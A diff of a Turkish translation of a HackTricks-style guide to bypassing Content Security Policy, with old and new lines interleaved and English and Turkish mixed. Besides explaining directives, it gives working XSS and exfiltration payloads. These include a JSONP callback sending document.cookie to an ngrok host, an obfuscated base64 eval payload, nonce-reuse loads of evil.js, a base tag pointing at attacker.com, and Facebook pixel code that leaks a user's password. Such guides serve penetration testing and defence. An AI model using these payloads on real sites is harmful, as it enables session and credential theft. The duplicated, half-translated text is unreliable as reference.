- **report-to**: Politika ihlal edilirse raporun gönderileceği grubu belirtir.
- **worker-src**: Worker, SharedWorker veya ServiceWorker scriptleri için geçerli kaynakları belirtir.
- **report-to**: Politika ihlal edilirse raporun gönderileceği bir grup belirtir.
- **worker-src**: Worker, SharedWorker veya ServiceWorker script'leri için geçerli kaynakları belirtir.
- **prefetch-src**: Alınacak veya önceden alınacak kaynaklar için geçerli kaynakları belirtir.
- **navigate-to**: Bir belgenin her türlü yöntemle (a, form, window.location, window.open, vb.) gidebileceği URL'leri kısıtlar.
- **navigate-to**: Bir belgenin herhangi bir yolla (a, form, window.location, window.open, vb.) gidebileceği URL'leri kısıtlar.
### Kaynaklar
- `*`: `data:`, `blob:`, `filesystem:` şemaları dışındaki tüm URL'lere izin verir.
- `*`: `data:`, `blob:`, `filesystem:` şemalarına sahip olanlar hariç tüm URL'lere izin verir.
- `'self'`: Aynı alan adından yüklemeye izin verir.
- `'data'`: data şeması üzerinden kaynakların yüklenmesine izin verir (ör. Base64 kodlu görüntüler).
- `'data'`: Kaynakların data şemasıyla yüklenmesine izin verir (örn. Base64 kodlu görüntüler).
- `'none'`: Herhangi bir kaynaktan yüklemeyi engeller.
- `'unsafe-eval'`: `eval()` ve benzeri yöntemlerin kullanımına izin verir, güvenlik nedenleriyle önerilmez.
- `'unsafe-hashes'`: Belirli inline event handler'ları etkinleştirir.
- `'unsafe-inline'`: inline `<script>` veya `<style>` gibi inline kaynakların kullanımına izin verir, güvenlik nedeniyle önerilmez.
- `'nonce'`: kriptografik bir nonce (bir kez kullanılan sayı) kullanan belirli inline scriptler için bir beyaz liste.
- If you have JS limited execution it's possible to get a used nonce inside the page with `doc.defaultView.top.document.querySelector("[nonce]")` and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn't needed), like in:
- `'unsafe-eval'`: `eval()` ve benzeri yöntemlerin kullanımına izin verir; güvenlik nedeniyle önerilmez.
- `'unsafe-hashes'`: Belirli satır içi olay işleyicilerini etkinleştirir.
- `'unsafe-inline'`: Satır içi `<script>` veya `<style>` gibi satır içi kaynakların kullanımına izin verir; güvenlik nedeniyle önerilmez.
- `'nonce'`: Kriptografik bir nonce (bir defa kullanılan sayı) kullanan belirli satır içi script'ler için beyaz listedir.
- Eğer JS sınırlı yürütme varsa, sayfa içindeki kullanılmış bir nonce'u `doc.defaultView.top.document.querySelector("[nonce]")` ile almak ve ardından kötü amaçlı bir script yüklemek için yeniden kullanmak mümkündür (eğer strict-dynamic kullanılmışsa, herhangi bir izin verilen kaynak yeni kaynaklar yükleyebildiği için bu gerekmez), şu örnekte olduğu gibi:
<details>
<summary>Nonce'i yeniden kullanarak script yükleme</summary>
<summary>Nonce'i yeniden kullanarak script yükle</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
@ -88,18 +88,18 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: Belirli bir sha256 hash'i olan scriptleri beyaz listeye alır.
- `'strict-dynamic'`: Bir nonce veya hash ile beyaz listeye alınmışsa herhangi bir kaynaktan script yüklenmesine izin verir.
- `'host'`: Belirli bir host belirtir, örneğin `example.com`.
- `https:`: URL'leri HTTPS kullananlarla sınırlar.
- `'sha256-<hash>'`: Belirli bir sha256 hash'ine sahip script'leri beyaz listeye alır.
- `'strict-dynamic'`: Bir nonce veya hash ile beyaz listeye alınmışsa scriptlerin herhangi bir kaynaktan yüklenmesine izin verir.
- `'host'`: Belirli bir host belirtir, örn. `example.com`.
- `https:`: URL'leri yalnızca HTTPS kullananlarla sınırlar.
- `blob:`: Kaynakların Blob URL'lerinden yüklenmesine izin verir (ör. JavaScript ile oluşturulan Blob URL'leri).
- `filesystem:`: Kaynakların filesystem'ten yüklenmesine izin verir.
- `'report-sample'`: İhlal raporuna ihlali tetikleyen koddan bir örnek ekler (hata ayıklama için faydalıdır).
- `'strict-origin'`: 'self' ile benzerdir ancak kaynakların protokol güvenlik düzeyinin belgeyle eşleşmesini sağlar (sadece güvenli origin'ler güvenli origin'lerden kaynak yükleyebilir).
- `'strict-origin-when-cross-origin'`: Aynı-origin istekleri yaparken tam URL'leri gönderir, ancak cross-origin isteklerde yalnızca origin'i gönderir.
- `'unsafe-allow-redirects'`: Başka bir kaynağa hemen yönlendirecek kaynakların yüklenmesine izin verir. Güvenliği zayıflattığı için önerilmez.
- `filesystem:`: Kaynakların filesystem üzerinden yüklenmesine izin verir.
- `'report-sample'`: İhlal raporuna ihlale neden olan koddan bir örnek ekler (hata ayıklama için faydalı).
- `'strict-origin'`: 'self' ile benzer, ancak kaynakların protokol güvenlik seviyesinin belgeyle eşleşmesini sağlar (sadece güvenli origin'ler güvenli origin'lerden kaynak yükleyebilir).
- `'strict-origin-when-cross-origin'`: Aynı-origin isteklerinde tam URL'leri gönderir; cross-origin isteklerde ise sadece origin'i gönderir.
- `'unsafe-allow-redirects'`: Hemen başka bir kaynağa yönlendirecek kaynakların yüklenmesine izin verir. Güvenliği zayıflattığı için önerilmez.
## Güvenli Olmayan CSP Kuralları
## Güvensiz CSP Kuralları
### 'unsafe-inline'
```yaml
@ -117,7 +117,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
### 'unsafe-eval'
> [!CAUTION]
> Bu çalışmıyor, daha fazla bilgi için [**buraya bakın**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
> Bu çalışmıyor, daha fazla bilgi için [**check this**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
@ -127,9 +127,9 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
### strict-dynamic
Eğer bir şekilde **izin verilen bir JS kodunun yeni bir script tag oluşturmasını** sağlayabilirseniz (çünkü izin verilen bir script bunu oluşturuyor), DOM'da JS kodunuzla oluşturulan **yeni script taginin çalıştırılmasına izin verilecektir**.
Eğer bir şekilde **izinli bir JS kodunun DOM'da sizin JS kodunuzu içeren yeni bir script etiketi oluşturmasını** sağlayabilirseniz — çünkü izinli bir script onu oluşturuyor — **bu yeni script etiketinin çalıştırılmasına izin verilecektir**.
### Wildcard (\*)
### Wildcard (*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
@ -140,7 +140,7 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
### object-src ve default-src eksikliği
> [!CAUTION] > **Artık çalışmıyor gibi görünüyor**
> [!CAUTION] > **Görünüşe göre bu artık çalışmıyor**
```yaml
Content-Security-Policy: script-src 'self' ;
```
@ -154,26 +154,26 @@ Content-Security-Policy: script-src 'self' ;
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Eğer bir JS dosyası yükleyebiliyorsanız bu CSP'yi bypass edebilirsiniz:
Bir JS dosyası yükleyebiliyorsanız bu CSP'yi atlayabilirsiniz:
Çalışan payload:
Working payload:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
However, it's highly probable that the server is **yüklenen dosyayı doğruluyor olması** and will only allow you to **belirli türde dosyaların yüklenmesine izin vermesi**.
Bununla birlikte, sunucunun **yüklenen dosyayı doğrulaması** ve yalnızca belirli türde dosyaların **yüklenmesine izin vermesi** büyük olasılıktır.
Moreover, even if you could upload a **JS kodu yerleştirebilseniz** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **dosyanın MIME türünü uzantısına göre seçer** and browsers like Chrome will **Javascript'i çalıştırmayı reddeder** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache bilmiyor** the _**.wave**_ extension, therefore it doesn't serve it with a **audio/*** gibi bir MIME tipiyle.
Ayrıca, sunucunun kabul ettiği bir uzantıyı kullanarak bir dosya içine **JS code inside** yükleyebilseniz bile (ör. _script.png_) bu yeterli olmayabilir; çünkü Apache gibi bazı sunucular **dosyanın MIME type'ını uzantıya göre seçer** ve Chrome gibi tarayıcılar bir resim olması gereken şeyin içindeki Javascript kodunu **çalıştırmayı reddeder**. "Neyse ki", hatalar var. Örneğin bir CTF'te öğrendim ki **Apache** _**.wave**_ uzantısını bilmiyor; bu yüzden onu **MIME type like audio/*** ile servis etmiyor.
From here, if you find a XSS and a file upload, and you manage to find a **yanlış yorumlanan uzantı**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
Buradan hareketle, eğer bir XSS ve bir dosya yükleme bulursanız ve **misinterpreted extension** bulmayı başarırsanız, o uzantıyla ve scriptin içeriğiyle bir dosya yüklemeyi deneyebilirsiniz. Veya sunucu yüklenen dosyanın doğru formatını kontrol ediyorsa, bir polyglot oluşturun ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action
If not possible to inject JS, you could still try to exfiltrate for example credentials **form action enjekte ederek** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.
Eğer JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini yine de dışarı sızdırmayı deneyebilirsiniz; **injecting a form action** (ve belki password manager'ların otomatik doldurmasını bekleyerek). Bir [**örnek bu raporda**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) bulunabilir. Ayrıca, `default-src`'un form action'larını kapsamadığını unutmayın.
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> For some of the following payload **`unsafe-eval` bile gerekli değil**.
> Bazı payload'lar için **`unsafe-eval` bile gerekli değil**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
@ -198,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Angular + `window` nesnesini döndüren fonksiyonlara sahip bir library ile payloadlar ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Payloads using Angular + fonksiyonları `window` nesnesini döndüren bir kütüphane ile ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> Yazıda, `cdn.cloudflare.com`'dan (veya izin verilen başka bir JS libraries deposundan) tüm **libraries**'i **load** edebileceğinizi, her library'den eklenen tüm fonksiyonları çalıştırıp **hangi libraries'den hangi fonksiyonların `window` nesnesini döndürdüğünü** kontrol edebileceğinizi gösteriyor.
> Yazı, `cdn.cloudflare.com` (veya izin verilen başka bir JS kütüphaneleri deposundan) tüm **kütüphaneleri** **yükleyebileceğinizi**, her kütüphaneden eklenen tüm fonksiyonları çalıştırıp **hangi kütüphanelerden hangi fonksiyonların `window` nesnesini döndürdüğünü** kontrol edebileceğinizi gösteriyor.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -225,7 +225,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
{{[].erase.call().alert('xss')}}
</div>
```
Angular XSS bir sınıf adından:
Angular XSS class isminden:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -233,7 +233,7 @@ Angular XSS bir sınıf adından:
```
#### google recaptcha JS kodunu kötüye kullanma
Bu [**CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves)'a göre, bir CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) öğesini kötüye kullanarak CSP'yi atlayıp rastgele JS kodu çalıştırabilirsiniz:
Şuna göre [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) bir CSP içinde kötüye kullanılarak CSP'yi atlayıp rastgele JS kodu çalıştırılabilir:
```html
<div
ng-controller="CarouselController as c"
@ -261,21 +261,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### www.google.com'u open redirect için istismar etme
#### www.google.com üzerinden open redirect istismarı
Aşağıdaki URL example.com'a yönlendirir (kaynak: [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
Aşağıdaki URL example.com'a yönlendiriyor (buradan [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
\*.google.com/script.google.com'in Kötüye Kullanımı
İstismar \*.google.com/script.google.com
Google Apps Script'i, script.google.com içinde bir sayfada bilgi almak için kötüye kullanmak mümkündür. Bu, [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
Google Apps Script'i istismar ederek script.google.com içindeki bir sayfada bilgi almak mümkündür. Bu, [bu raporda](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) yapıldığı gibi.
### Üçüncü Taraf Endpoint'leri + JSONP
### Üçüncü Taraf Uç Noktaları + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Bu gibi senaryolar, `script-src` `self` olarak ayarlandığında ve beyaz listeye alınmış belirli bir alan adı olduğunda JSONP kullanılarak atlatılabilir. JSONP endpoint'leri, güvensiz `callback` yöntemleri sayesinde bir saldırganın XSS gerçekleştirmesine olanak tanır, çalışan payload:
Bu gibi senaryolar, `script-src` `self` olarak ayarlanmış ve belirli bir domain beyaz listeye alınmışsa JSONP kullanılarak aşılabilir. JSONP endpoint'leri güvenli olmayan callback yöntemlerine izin verir; bu da bir saldırganın XSS gerçekleştirmesine olanak tanır. Çalışan payload:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -289,15 +289,15 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **farklı sitelerin CSP bypass'ı için hazır JSONP endpoints içerir.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **farklı web sitelerinin CSP bypass'ı için kullanıma hazır JSONP endpoint'leri içerir.**
Aynı zafiyet, **güvenilir endpoint içinde bir Open Redirect bulunması** durumunda da meydana gelir; çünkü eğer başlangıç endpoint'i güvenilir kabul ediliyorsa, yönlendirmeler de güvenilir sayılır.
Aynı zafiyet, **güvenilen endpoint Open Redirect içeriyorsa** da ortaya çıkar; çünkü başlangıçta güvenilen endpoint güvenilir kabul ediliyorsa, yönlendirmeler de güvenilir sayılır.
### Üçüncü Taraf Suistimalleri
### Üçüncü Taraf Kötüye Kullanımları
Aşağıdaki [yazıda](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)ıklandığı gibi, CSP içinde bir yerde izin verilmiş olabilecek birçok üçüncü taraf domain, veri exfiltrate etmek veya JavaScript kodu çalıştırmak için kötüye kullanılabilir. Bu üçüncü taraflardan bazıları şunlardır:
Belirtildiği gibi [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), CSP içinde bir yerde izin verilmiş olabilecek ve veriyi exfiltrate etmek veya JavaScript kodu execute etmek için kötüye kullanılabilecek birçok üçüncü taraf domaini vardır. Bu üçüncü taraflardan bazıları şunlardır:
| Varlık | İzin Verilen Domain | Yetenekler |
| Varlık | İzin Verilen Domain | Yetkinlikler |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
@ -308,7 +308,7 @@ Aşağıdaki [yazıda](https://sensepost.com/blog/2023/dress-code-the-talk/#bypa
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Hedefinizin CSP'sinde bu izin verilen domainlerden herhangi birini bulursanız, büyük olasılıkla üçüncü taraf servisine kayıt olup CSP'yi bypass ederek verileri o servise exfiltrate edebilir veya kod çalıştırabilirsiniz.
Hedefinizin CSP'sinde izin verilen domainlerden herhangi birini bulursanız, üçüncü taraf servise kayıt olup CSP'yi bypass ederek veriyi o servise exfiltrate edebilir veya code execute edebilirsiniz.
Örneğin, aşağıdaki CSP'yi bulursanız:
```
@ -318,41 +318,41 @@ veya
```
Content-Security-Policy: connect-src www.facebook.com;
```
Verileri exfiltrate edebilmelisiniz; tıpkı [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) ile her zaman yapıldığı gibi. Bu durumda şu genel adımları izlersiniz:
Veriyi exfiltrate edebilmelisiniz, tıpkı [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) ile her zaman yapıldığı gibi. Bu durumda genel olarak şu adımları izlersiniz:
1. Buradan bir Facebook Developer account oluşturun.
2. Yeni bir "Facebook Login" app oluşturun ve "Website"i seçin.
1. Burada bir Facebook Developer hesabı oluşturun.
2. Yeni bir "Facebook Login" uygulaması oluşturun ve "Website" seçin.
3. "Settings -> Basic"e gidin ve "App ID"nizi alın.
4. Hedef siteden exfiltrate etmek istediğiniz verileri, doğrudan Facebook SDK gadget'ı "fbq" ile bir "customEvent" ve data payload aracılığıyla exfiltrate edebilirsiniz.
5. App'inizin "Event Manager"ına gidin ve oluşturduğunuz uygulamayı seçin (note the event manager could be found in an URL similar to this: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
6. "Test Events" sekmesini seçin, "your" web sitesi tarafından gönderilen eventleri görebilirsiniz.
4. Veri exfiltrate etmek istediğiniz hedef sitede, veriyi Facebook SDK gadget'ı "fbq"yi doğrudan bir "customEvent" ve data payload aracılığıyla kullanarak exfiltrate edebilirsiniz.
5. Uygulamanızın "Event Manager"ına gidin ve oluşturduğunuz uygulamayı seçin (not: event manager şu URL'de bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. "Test Events" sekmesini seçin, böylece web siteniz tarafından gönderilen event'leri görebilirsiniz.
Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event like this:
Ardından, kurban tarafında, saldırganın Facebook developer hesap app-id'sini işaret edecek şekilde Facebook tracking pixel'i initialize etmek ve aşağıdaki gibi bir custom event tetiklemek için aşağıdaki kodu çalıştırırsınız:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
Önceki tabloda belirtilen diğer yedi third-party domain için, bunları kötüye kullanmanın başka birçok yolu vardır. Diğer third-party suiistimalleri hakkında ek açıklamalar için daha önceki [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) yazısına bakın.
Önceki tabloda belirtilen diğer yedi üçüncü taraf alan adı için bunları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımlarıyla ilgili ek açıklamalar için önceki [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) bağlantısına bakın.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Yol kısıtlamalarını bypass etmek için bahsedilen yönlendirmeye ek olarak, bazı sunucularda kullanılabilecek Relative Path Overwrite (RPO) adlı başka bir teknik vardır.
Yol kısıtlamalarını aşmak için önce bahsedilen yönlendirmeye ek olarak, bazı sunucularda kullanılabilecek Relative Path Overwrite (RPO) adlı başka bir teknik vardır.
Örneğin, CSP `https://example.com/scripts/react/` yoluna izin veriyorsa, şu şekilde bypass edilebilir:
Örneğin, CSP `https://example.com/scripts/react/` yoluna izin veriyorsa, şu şekilde atlatılabilir:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Tarayıcı en sonunda `https://example.com/scripts/angular/angular.js` yükleyecektir.
Tarayıcı en sonunda `https://example.com/scripts/angular/angular.js` dosyasını yükleyecektir.
Bu işe yarıyor çünkü tarayıcı için, `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosya yüklüyorsunuz; bu da CSP ile uyumludur.
Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosya yüklüyor olmanızdan dolayı çalışır; bu CSP ile uyumludur.
Böylece, tarayıcı bunu çözecek, fiilen `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacak, ki bu `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
Sonuç olarak, tarayıcılar bunu decode edecekler ve fiilen `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar; bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
Tarayıcı ile sunucu arasındaki URL yorumlamasındaki bu tutarsızlıktan **faydalanarak, yol kuralları atlatılabilir**.
**Tarayıcı ile sunucu arasındaki URL yorumlama tutarsızlığını kötüye kullanarak, yol kuralları atlatılabilir.**
Çözüm, sunucu tarafında `%2f`'yi `/` olarak işlememek ve böylece tarayıcı ile sunucunun yorumlamasını tutarlı hale getirerek bu sorunu önlemektir.
Çözüm, bu sorunu önlemek için sunucu tarafında `%2f`'yi `/` olarak işlememek; böylece tarayıcı ile sunucu arasında yorumlamanın tutarlı olması sağlanır.
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@ -365,33 +365,33 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
### Eksik **base-uri**
Eğer **base-uri** direktifi yoksa, bunu kullanarak bir [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) gerçekleştirebilirsiniz.
Eğer **base-uri** yönergesi eksikse, bunu [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) gerçekleştirmek için kötüye kullanabilirsiniz.
Ayrıca, eğer **sayfa göreli bir yol kullanarak bir script yüklüyorsa** (örn. `<script src="/js/app.js">`) ve bir **Nonce** kullanıyorsa, **base** **tag**'ini kötüye kullanarak script'in **kendi sunucunuzdan yüklenmesini sağlayarak XSS elde edebilirsiniz.**\
Eğer zafiyetli sayfa **httpS** ile yükleniyorsa, base içinde bir httpS URL'si kullanın.
Dahası, eğer **sayfa göreceli bir yol kullanarak bir script yüklüyorsa** (ör. `<script src="/js/app.js">`) ve **Nonce** kullanıyorsa, **base** **tag**'i kötüye kullanarak script'in **kendi sunucunuzdan yüklenmesini** sağlayabilir ve böylece **XSS** elde edebilirsiniz.\
Eğer zafiyetli sayfa **httpS** ile yükleniyorsa, base içinde bir httpS URL kullanın.
```html
<base href="https://www.attacker.com/" />
```
### AngularJS events
### AngularJS etkinlikleri
Content Security Policy (CSP) olarak bilinen belirli bir politika JavaScript olaylarını kısıtlayabilir. Yine de, AngularJS buna alternatif olarak custom events sunar. Bir event içinde AngularJS, native tarayıcı event nesnesine referans veren `$event` adında özel bir obje sağlar. Bu `$event` objesi CSP'yi aşmak için suistimal edilebilir. Özellikle Chrome'da `$event/event` objesinin, olayın yürütülme zincirinde yer alan obje dizisini tutan `path` adlı bir özelliği vardır ve `window` nesnesi her zaman dizinin sonunda yer alır. Bu yapı sandbox kaçışı taktikleri için kritik öneme sahiptir.
Content Security Policy (CSP) olarak bilinen belirli bir politika JavaScript etkinliklerini kısıtlayabilir. Bununla birlikte, AngularJS alternatif olarak custom events sunar. Bir event içinde, AngularJS native tarayıcı event nesnesine referans veren `$event` adlı özel bir nesne sağlar. Bu `$event` nesnesi CSP'yi atlatmak için istismar edilebilir. Özellikle Chrome'da, `$event/event` nesnesinin, event'in yürütülme zincirinde yer alan nesneler dizisini tutan `path` adlı bir özelliği vardır; bu dizinin son elemanında her zaman `window` nesnesi bulunur. Bu yapı, sandbox escape taktikleri için kritik öneme sahiptir.
Bu dizi `orderBy` filtresine yönlendirilerek üzerinde yineleme yapılabilir; böylece son eleman (window nesnesi) kullanılarak `alert()` gibi bir global fonksiyon tetiklenebilir. Aşağıdaki örnek kod parçası bu süreci açıklamaktadır:
Bu diziyi `orderBy` filtresine yönlendirerek üzerinde iterasyon yapmak ve son eleman (`window` nesnesi) kullanarak `alert()` gibi global bir fonksiyonu tetiklemek mümkün olur. Aşağıdaki örnek kod parçası bu süreci açıklıyor:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Bu snippet, olayı tetiklemek için `ng-focus` direktifinin kullanımını, `path` dizisini manipüle etmek üzere `$event.path|orderBy` kullanılmasını ve `alert()` fonksiyonunu çalıştırmak için `window` nesnesinden yararlanılmasını vurgular; böylece `document.cookie` ortaya çıkar.
Bu snippet, olayı tetiklemek için `ng-focus` direktifinin kullanımını gösterir; `path` dizisini manipüle etmek için `$event.path|orderBy` kullanır ve `alert()` fonksiyonunu çalıştırmak için `window` objesinden yararlanarak `document.cookie`'yi açığa çıkarır.
**Diğer Angular bypass'larını şurada bulun:** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**Diğer Angular bypass'larını** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS ve whitelisted domain
### AngularJS and whitelisted domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Angular JS uygulamasında script yükleme için alan adlarını beyaz listeleyen bir CSP politikası, callback functions'ın çağrılması ve bazı vulnerable classes aracılığıyla atlatılabilir. Bu teknikle ilgili daha fazla bilgi, detaylı bir rehberde bulunmaktadır ve bu [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) üzerinde erişilebilir.
Bir Angular JS uygulamasında script yükleme için alan adlarını beyaz listeleyen bir CSP politikası, callback functions çağrımı ve belirli vulnerable classes kullanılarak atlatılabilir. Bu teknikle ilgili daha fazla bilgi, bu [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) üzerinde bulunan ayrıntılı bir kılavuzda mevcuttur.
Çalışan payloads:
Working payloads:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -403,9 +403,9 @@ Diğer JSONP arbitrary execution endpoints [**here**](https://github.com/zigoo0/
### Bypass via Redirection
CSP, sunucu tarafı yönlendirme ile karşılaştığında ne olur? Eğer yönlendirme izin verilmeyen farklı bir origin'e götürüyorsa, bu yine de başarısız olur.
CSP sunucu tarafı yönlendirmesiyle karşılaştığında ne olur? Eğer yönlendirme izin verilmeyen farklı bir origin'e yol açıyorsa, yine başarısız olur.
Bununla birlikte, [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) ıklamasına göre, yönlendirme farklı bir path'e götürürse, orijinal kısıtlamaları atlatabilir.
Ancak, [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) bölümündeki açıklamaya göre, yönlendirme farklı bir path'e giderse orijinal kısıtlamaları bypass edebilir.
İşte bir örnek:
```html
@ -425,38 +425,38 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
CSP `https://www.google.com/a/b/c/d` olarak ayarlandıysa, path dikkate alındığından hem `/test` hem de `/a/test` scripts CSP tarafından engellenecektir.
If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.
